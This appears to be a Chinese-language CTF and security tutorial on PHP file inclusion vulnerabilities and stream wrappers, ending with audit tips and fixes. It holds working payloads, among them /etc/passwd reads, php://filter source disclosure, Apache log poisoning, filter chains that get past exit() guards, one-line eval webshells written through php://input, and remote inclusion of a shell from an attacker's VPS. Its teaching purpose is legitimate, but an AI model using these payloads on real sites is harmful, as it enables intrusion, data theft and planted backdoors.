文件包含及伪协议

文件包含及伪协议
EZL1NG文件包含及伪协议
漏洞利用
利用条件
- 动态文件包含:通过
include()
等函数动态引入文件,且参数为动态变量。 - 用户可控:用户能够控制该动态变量的值。
利用方法
读取敏感文件
示例:
1
?arg=/etc/passwd
利用封装协议读取源码
示例:
1
?arg=php://filter/read=convert.base64-encode/resource=config.php
说明:通过
php://filter
封装协议能看到 PHP 文件的源码。包含图片 Getshell
说明:在上传的图片中嵌入恶意代码,然后利用 LFI 包含该图片,即可执行图片内的 PHP 代码。
截断包含
漏洞代码示例:
1
2
3
4
5
6
7
8
if(isset($_GET['arg']))
{
include($_GET['arg'].".php");
} else {
include(index.php);
}说明:这种做法在一定程度上修复了漏洞。例如,上传图片后访问
http://vuln.com/index.php?arg=1.jpg
会出错,因为不存在1.jpg.php
文件。
绕过方式:
如果输入http://vuln.com/index.php?arg=1.jpg%00
,则可能绕过检测(仅适用于php.ini
中magic_quotes_qpc=off
且 PHP 版本 < 5.3.4 的情况)。
注意:若magic_quotes_qpc
为 on,则%00
会被转义,无法达到截断效果。包含 Apache 日志 Getshell
条件: 已知日志文件(如
access.log
)的存放位置,默认位置:/var/log/httpd/access_log
。
说明:当目标网站存在文件包含漏洞,但没有可以包含的文件时,可尝试访问不存在的资源,例如:
1
http://www.vuln.com/<?php phpinfo(); ?>
Apache 会将这条信息记录在
access.log
中。注意:输入的代码可能被转义,无法直接解析。
解决方法:使用 BurpSuite 等工具对 HTTP 请求包中的转义代码进行修改,然后再次访问日志文件,例如:
1
http://www.vuln.com/index.php?arg=/var/log/httpd/access_log
即可成功执行代码。
PHP 中的封装协议(伪协议)
php支持的伪协议
1 | 1 file:// — 访问本地文件系统 |
下面是美化后的笔记,所有原内容均已保留,并通过增加标题、分块、代码块和列表等方式进行了结构化展示,方便阅读和理解。
php://filter
php://filter 是一种元封装器,设计用于在数据流打开时对其进行筛选过滤。对于一些“一体式”的文件函数(如 readfile()、file() 和 file_get_contents()),由于在数据流内容读取之前无法应用其他过滤器,php://filter 就显得非常有用。
简单来说,它类似于一个中间件,在读入或写入数据时对数据进行处理后再输出。
功能与用途
- 获取指定文件源码
当与包含函数结合时,php://filter 流会被当作 PHP 文件执行。为了避免这种情况,我们通常会对其进行编码,从而使文件内容不被执行,而只是作为纯文本输出,达到任意文件读取的目的。
协议参数
参数名称 | 描述 |
---|---|
resource=<要过滤的数据流> | 必须参数。指定你要筛选过滤的数据流。 |
read=<读链的筛选列表> | 可选参数。可设定一个或多个过滤器名称,使用管道符 ` |
write=<写链的筛选列表> | 可选参数。可设定一个或多个过滤器名称,使用管道符 ` |
未以 read= 或 write= 开头的筛选器列表 | 将根据情况应用于读链或写链。 |
常用示例:
通过 base64 编码读取 index.php:
1
php://filter/read=convert.base64-encode/resource=index.php
直接读取 index.php(无编码):
1
php://filter/resource=index.php
利用 filter 协议读取文件时,会将 index.php 经过 base64 编码后输出,解决了文件包含后文件内容被执行而没有输出源码的问题。这里使用的 convert.base64-encode
就是一种过滤器。
常用过滤器
字符串过滤器
- string.rot13
对每个字符进行右移 13 位处理。 - string.toupper
将所有字符转换为大写。 - string.tolower
将所有字符转换为小写。 - string.strip_tags
用于去除读取内容中的所有标签(如 XML 标签等),在绕过“死亡 exit”时非常有用。
转换过滤器
主要用于对数据流进行编码或解码,常用于读取文件源码:
- convert.base64-encode & convert.base64-decode
Base64 编码与解码。 - convert.quoted-printable-encode & convert.quoted-printable-decode
将数据翻译为可打印字符引用编码或进行逆向转换。
压缩过滤器
注意:这里的压缩过滤器指的是对数据流中的有效载荷进行压缩或解压,并不会产生类似 gzip 的头尾信息。
- zlib.deflate:压缩数据流。
- zlib.inflate:解压数据流。
- bzip2.compress / bzip2.decompress:工作方式与 zlib 过滤器类似。
加密过滤器
- mcrypt.* 和 mdecrypt.*
使用 libmcrypt 提供对称加密和解密功能。
更多妙用请参考:详细说明
利用 filter 伪协议绕过“死亡 exit”
什么是“死亡 exit”
在进行写入 PHP 文件操作时,通常会执行以下函数之一来防止用户提交的代码被执行:
1 | file_put_contents($content, '<?php exit();' . $content); |
或者
1 | file_put_contents($content, '<?php exit();?>' . $content); |
这样写入后的文件内容示例如下:
1 | exit(); |
即使插入了一句木马代码,由于前面有 <?php exit();?>
,木马也无法被执行,这就是所谓的“死亡 exit”。这种机制通常用于缓存、配置文件等不允许用户直接访问的文件中。
base64_decode 绕过“死亡 exit”
利用 php://filter 的 base64-decode 方法可绕过“死亡 exit”。示例代码如下:
1 |
|
当用户通过 POST 方式提交数据时,提交的数据会与 <?php exit; ?>
拼接,避免代码被直接执行。但利用 php://filter 的 base64-decode 方法,可以利用 PHP 内置的 base64_decode 特性去除“死亡 exit”。
具体原理是:
- Base64 编码只包含 64 个可打印字符,当 PHP 遇到不可解码的字符时,会跳过这些字符。
- 因此,
<?php exit; ?>
中的<
,?
,>
和空格等字符被去除后,剩下的就是phpexit
以及用户传入的字符。 - 由于 base64 是 4 字节一组,再添加一个字符(例如添加字符
a
)后,“phpexita”会被当做两组 base64 进行解码,从而绕过“死亡 exit”。
这样,后续再加上经过编码的一句话木马,便可成功 getshell。
strip_tags 绕过“死亡 exit”
注意到 <?php exit; ?>
实际上是一个 XML 标签,可以利用 strip_tags 函数将其去除。
在写入文件时,filter 支持多个过滤器组合使用,可以先将 webshell 经过 base64 编码,然后利用 strip_tags 去除“死亡 exit”,最后再通过 base64-decode 复原。
示例命令:
1 | php://filter/string.strip_tags|convert.base64-decode/resource=shell.php |
file://
作用:用于访问本地文件系统。在 CTF 中常用于读取本地文件,不受
allow_url_fopen
与allow_url_include
影响。说明:
include()
、require()
系列函数在包含非.php
文件时,仍会按照 PHP 语法解析。示例:
绝对路径:
1
http://127.0.0.1/include.php?file=file://C:\phpStudy\PHPTutorial\WWW\phpinfo.txt
相对路径:
1
http://127.0.0.1/include.php?file=./phpinfo.txt
网络路径:
1
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
php://
条件:
allow_url_fopen
:off/on;部分需要allow_url_include
为 on(见下文说明)。作用:访问各种输入/输出流(I/O streams),在 CTF 中常用的有
php://filter
和php://input
。php://filter
:用于读取文件源码。php://input
:用于执行 PHP 代码。
示例:
读取文件源码:
1
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
执行 PHP 代码(结合 POST 数据):
1
http://127.0.0.1/include.php?file=php://input
POST 数据部分:
1
phpinfo();
写一句话木马(若具有写入权限): POST 数据部分:
1
fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>');
zip:// & bzip2:// & zlib://
作用:这些协议属于压缩流,可以访问压缩文件中的子文件。
特点:无需指定后缀名,可修改为任意后缀(如 jpg、png、gif 等)。
示例:
**zip://**:
将
phpinfo.txt
压缩为phpinfo.zip
,重命名为phpinfo.jpg
上传后:1
http://127.0.0.1/include.php?file=zip://C:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
注意:
#
符号需编码为%23
。
**compress.bzip2://**:
将
phpinfo.txt
压缩为phpinfo.bz2
并上传:1
http://127.0.0.1/include.php?file=compress.bzip2://C:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
**compress.zlib://**:
将
phpinfo.txt
压缩为phpinfo.gz
:1
http://127.0.0.1/include.php?file=compress.zlib://C:\phpStudy\PHPTutorial\WWW\phpinfo.gz
data://
条件:
allow_url_fopen:on
;allow_url_include:on
作用:从 PHP >= 5.2.0 开始,可以使用
data://
数据流封装器传递数据。通常用于执行 PHP 代码。示例:
直接执行 PHP 代码:
1
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
Base64 编码:
1
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
phar://
作用:与
zip://
类似,可以访问 zip 格式压缩包内容。利用条件:PHP > 5.3
要使用 Phar 类中的方法,必须将phar.readonly
配置项设置为 0 或 Off。扩展攻击面:利用
phar://
协议可以拓展 PHP 反序列化漏洞攻击面。示例:
1
http://127.0.0.1/include.php?file=phar://C:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
远程文件包含 (RFL)
漏洞描述
当服务器通过 PHP 的特性(函数)包含任意文件时,由于要包含的文件来源过滤不严格,攻击者可包含一个恶意文件,从而达到远程构造特定恶意文件的目的。
漏洞利用
条件:php.ini
中需开启 allow_url_include
和 allow_url_fopen
选项。
远程包含 Webshell
示例:
1
?arg=http://攻击者的VPS/shell.txt
说明:会在网站目录生成名为
shell.php
的一句话木马,其内容为:1
2
3
fputs(fopen('./shell.php','w'),'<?php @eval($_POST[123]) ?>');
代码审计
重点关注的函数
include()
- 说明:只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。
include_once()
- 说明:功能与
include()
类似,但同一文件重复调用时只会调用一次。
- 说明:功能与
require()
- 说明:只要程序执行就立即调用,若出错则输出错误信息并终止程序。
require_once()
- 说明:与
require()
类似,但同一文件重复调用时只会调用一次。
- 说明:与
审计重点
- 全局搜索上述文件包含函数。
- 对于基于图像上传的场景,重点检查
$_FILES
变量(因为 PHP 处理上传文件主要依赖$_FILES
)。 - 检查目录结构,特别关注
includes
、modules
等文件夹,以及是否在index.php
中动态调用这些文件,变量是否可控。
修复建议
- 禁止远程文件包含
- 将
allow_url_include
设置为off
。
- 将
- 配置 open_basedir
- 指定目录,限制访问范围。
- 过滤特殊符号
- 对
../
等特殊符号进行严格过滤。
- 对
- 修改 Apache 日志文件存放地址
- 防止利用 Apache 日志包含执行恶意代码。
- 开启魔术引号
- 设置
magic_quotes_qpc
为on
。
- 设置
- 避免动态变量调用文件
- 尽量直接写明要包含的文件路径,避免通过用户输入的动态变量调用文件。
更多参考文章
https://segmentfault.com/a/1190000018991087
https://wiki.wgpsec.org/knowledge/web/fileincludes.html
https://blog.csdn.net/weixin_59166557/article/details/143647869